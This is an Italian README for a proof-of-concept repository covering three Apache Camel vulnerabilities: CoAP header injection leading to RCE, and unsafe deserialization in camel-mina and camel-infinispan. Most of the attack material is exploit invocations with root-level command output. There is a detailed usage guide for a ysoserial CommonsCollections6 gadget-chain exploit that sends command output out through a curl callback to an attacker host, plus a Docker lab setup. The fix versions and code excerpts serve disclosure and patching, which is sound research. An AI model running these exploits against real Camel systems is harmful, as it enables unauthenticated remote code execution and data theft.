
Fornisce proof-of-concept exploit funzionanti e analisi dettagliata per tre vulnerabilità critiche di Apache Camel, inclusa l'iniezione di header CoAP e la deserializzazione non sicura che porta all'esecuzione remota di codice.
| CVE | Componente | Tipo | CVSS | Verdetto |
|---|
| CVE-2026-33453 | camel-coap | Header Injection → RCE | 10.0 Critico | Sfruttabile |
| CVE-2026-40473 | camel-mina | Deserializzazione non sicura → RCE | 9.8 Critico | Sfruttabile |
| CVE-2026-40858 | camel-infinispan | Deserializzazione non sicura | 8.8 Alto | Sfruttabile |
Componente: camel-coap — CamelCoapResource.java:103-109
CWE: CWE-915 (Modifica Controllata Impropriamente degli Attributi degli Oggetti)
Corretto in: Camel 4.18.1 / 4.14.6
CamelCoapResource.handleRequest() mappa i parametri della query URI CoAP direttamente negli header Camel Exchange tramite setHeader() senza alcun HeaderFilterStrategy. CoAPEndpoint estende DefaultEndpoint invece di DefaultHeaderFilterStrategyEndpoint, quindi gli header interni con prefisso Camel* possono essere iniettati da qualsiasi client non autenticato.
Quando la route inoltra a camel-exec, gli header controllati dall'attaccante CamelExecCommandExecutable e CamelExecCommandArgs sovrascrivono il comando configurato, ottenendo RCE pre-autenticato tramite un singolo pacchetto UDP.
// CamelCoapResource.java:103-109 — NESSUN HeaderFilterStrategy
for (String s : options.getUriQuery()) {
int i = s.indexOf('=');
if (i == -1) {
camelExchange.getIn().setHeader(s, "");
} else {
camelExchange.getIn().setHeader(s.substring(0, i), s.substring(i + 1));
}
}

$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'cat /etc/hostname'
[+] Risposta: 2.05
[+] Output del comando: cf6ee154412e
$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'ls /'
[+] Output del comando: app bin boot dev etc home lib ...
Componente: camel-mina — MinaConverter.java:60-63
CWE: CWE-502 (Deserializzazione di Dati Non Attendibili)
Corretto in: Camel 4.18.2 / 4.14.6 / 4.20.0
MinaConverter.toObjectInput(IoBuffer) crea un java.io.ObjectInputStream grezzo senza alcun ObjectInputFilter. Quando un endpoint MINA è configurato con allowDefaultCodec=false, i dati TCP grezzi arrivano come IoBuffer e raggiungono il type converter di Camel, che chiama questo metodo — avvolgendo i byte di rete controllati dall'attaccante in un ObjectInputStream non filtrato.
// MinaConverter.java:60-63 — NESSUN ObjectInputFilter
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
InputStream is = toInputStream(buffer);
return new ObjectInputStream(is); // byte controllati dall'attaccante, NESSUN FILTRO
}
Percorso di attacco: L'exploit prende di mira un endpoint TCP MINA con allowDefaultCodec=false (porta 9879 nel PoC). Questo bypassa completamente il layer codec di MINA — ObjectSerializationCodecFactory ha la propria allowlist ClassNameMatcher che altrimenti bloccherebbe classi arbitrarie. Con il codec disabilitato, i byte grezzi fluiscono direttamente a MinaConverter.toObjectInput() che crea un ObjectInputStream standard con zero filtri sulle classi.
Una catena di gadget CommonsCollections6 (tramite ysoserial) ottiene l'esecuzione arbitraria di comandi come root. L'output del comando viene esfiltrato tramite un callback curl verso l'attaccante.

$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
[+] Output del comando:
uid=0(root) gid=0(root) groups=0(root)
[+] CONFERMATO: CVE-2026-40473 RCE — comando eseguito tramite deserializzazione
$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'
[+] Output del comando:
Linux 8b1462d5c89d 6.12.76-linuxkit #1 SMP Sun Mar 8 14:41:59 UTC 2026 aarch64 GNU/Linux
ysoserial-all.jar (gadget CommonsCollections6)cd poc/
docker compose up -d --build
Attendere l'avvio del container, quindi verificare:
docker logs vuln-camel-mina
Dovresti vedere:

[*] Server MINA vulnerabile avviato
[*] Porta 9877: endpoint transferExchange (deser Java)
[*] Porta 9878: endpoint codec serializzazione oggetti
[*] Porta 9879: TCP grezzo (MinaConverter.toObjectInput) endpoint
[*] In attesa di connessioni...
La porta 9879 è il bersaglio — utilizza allowDefaultCodec=false, che disabilita il filtro codec di MINA e consente al IoBuffer grezzo di raggiungere il MinaConverter.toObjectInput() non filtrato di Camel.
Prima, verificare che l'endpoint accetti e deserializzi oggetti Java arbitrari senza alcun ObjectInputFilter:
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 --probe

[*] Modalità probe — conferma della deserializzazione (senza RCE)
[*] Payload: HashMap (82 byte, grezzo — nessun frame MINA)
[+] Connesso all'endpoint MINA
[+] Payload inviato
[+] I dati hanno raggiunto readObject() senza rifiuto del filtro
Il probe invia una HashMap serializzata. Il server la deserializza tramite ObjectInputStream.readObject() senza alcuna InvalidClassException — confermando zero filtri sulle classi.
Con ysoserial disponibile, sfruttare la deserializzazione non filtrata per l'esecuzione arbitraria di comandi:
# Esegui 'id' — restituisce uid=0(root)
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
# Leggi file
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'cat /etc/hostname'
# Info di sistema
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'
L'exploit genera una catena di gadget CommonsCollections6, la invia come byte grezzi alla porta 9879 e cattura l'output del comando tramite un listener di callback curl.
usage: exploit_cve_2026_40473_mina.py [-h] [--ysoserial PATH] [--callback-host HOST]
[--gadget GADGET] [--probe] [--raw]
target [port] [command]
target IP/hostname del bersaglio
port Porta TCP MINA (default: 9879)
command Comando da eseguire (default: id)
--ysoserial Percorso a ysoserial.jar (rilevato automaticamente se non impostato)
--callback-host Host che il container usa per raggiungerti (default: host.docker.internal)
--gadget Catena di gadget ysoserial (default: auto — prova CC6, CC5, CC1)
--probe Solo modalità probe — conferma la deserializzazione senza RCE
--raw Invia payload grezzo senza frame MINA a 4 byte (auto-attivato per la porta 9879)
Nota: Il --callback-host predefinito è host.docker.internal (Docker Desktop). Se si esegue su Linux senza Docker Desktop, usare --callback-host 172.17.0.1 o il proprio IP del bridge Docker.
cd poc/
docker compose down
Componente: camel-infinispan — DefaultExchangeHolderUtils.java:46-53
CWE: CWE-502 (Deserializzazione di Dati Non Attendibili)
Corretto in: Camel 4.18.2 / 4.14.7 / 4.20.0
DefaultExchangeHolderUtils.deserialize(byte[]) crea un ClassLoadingAwareObjectInputStream senza alcun ObjectInputFilter. Il DefaultExchangeHolderProtoAdapter instrada i byte della cache Infinispan direttamente a questo metodo. Un attaccante con accesso in scrittura alla cache (porta Hot Rod 11222 o API REST) inietta un payload serializzato malevolo che viene deserializzato quando il repository di aggregazione recupera la chiave.
Questo è lo stesso pattern di vulnerabilità di CVE-2024-22369, CVE-2024-23114 e CVE-2026-25747 — tutte istanze non corrette di readObject() senza un ObjectInputFilter nei percorsi di deserializzazione di Camel.
// DefaultExchangeHolderUtils.java:46-53 — NESSUN ObjectInputFilter
static DefaultExchangeHolder deserialize(byte[] bytes) {
try (ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ClassLoadingAwareObjectInputStream(bais)) {
return (DefaultExchangeHolder) ois.readObject(); // controllato dall'attaccante
}
}


cd poc/
docker compose up -d --build
Questo avvia:
vuln-camel-coap — endpoint CoAP sulla porta UDP 5683 con route camel-execvuln-camel-mina — endpoint TCP MINA sulle porte 9877 (transferExchange), 9878 (ObjectSerializationCodecFactory) e 9879 (TCP grezzo — bersaglio di attacco primario)infinispan — server Infinispan sulla porta 11222vuln-camel-infinispan — repository di aggregazione Camel basato su Infinispan# CVE-2026-33453: CoAP Header Injection → RCE
python3 poc/exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'id'
# CVE-2026-40473: MINA Deserializzazione non sicura → RCE (vedi istruzioni dettagliate sopra)
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
# CVE-2026-40858: Infinispan Deserializzazione non sicura
python3 poc/exploits/exploit_cve_2026_40858_infinispan.py 127.0.0.1 11222
cd poc/
docker compose down
Questa valutazione è stata eseguita utilizzando il framework di ricerca sulla sicurezza autonomo RAPTOR:
camel-coap, camel-mina, camel-infinispan)/scan) — Scoperta automatizzata delle vulnerabilità su tutti e 3 i componenti/understand --map) — Mappatura della superficie di attacco: punti di ingresso, confini di fiducia, sink, flussi di dati non controllati/validate) — Pipeline completa di validazione della sfruttabilità in 8 fasi (Fasi 0 → A → B → C → D → E → F → 1) che conferma che tutti e 3 i risultati sono reali, raggiungibili e sfruttabili/exploit) — Sviluppo di PoC funzionanti con ambiente di test basato su Docker| CVE | Versione di Correzione | Modifica |
|---|---|---|
| CVE-2026-33453 | 4.18.1 / 4.14.6 | CoAPEndpoint → estende DefaultHeaderFilterStrategyEndpoint; CoAPComponent → implementa HeaderFilterStrategyComponent |
| CVE-2026-40473 | 4.18.2 / 4.14.6 / 4.20.0 | Aggiunto ObjectInputFilter.Config.createFilter("java.**;javax.**;org.apache.camel.**;!*") prima di readObject() |
| CVE-2026-40858 | 4.18.2 / 4.14.7 / 4.20.0 | Aggiunta allowlist ObjectInputFilter (stesso pattern); fallback al filtro serial JVM se configurato |
Questa ricerca è destinata esclusivamente a test di sicurezza autorizzati e scopi educativi. Tutti gli exploit sono stati testati contro container Docker costruiti localmente che eseguono software vulnerabile. Aggiornare alle versioni corrette elencate sopra.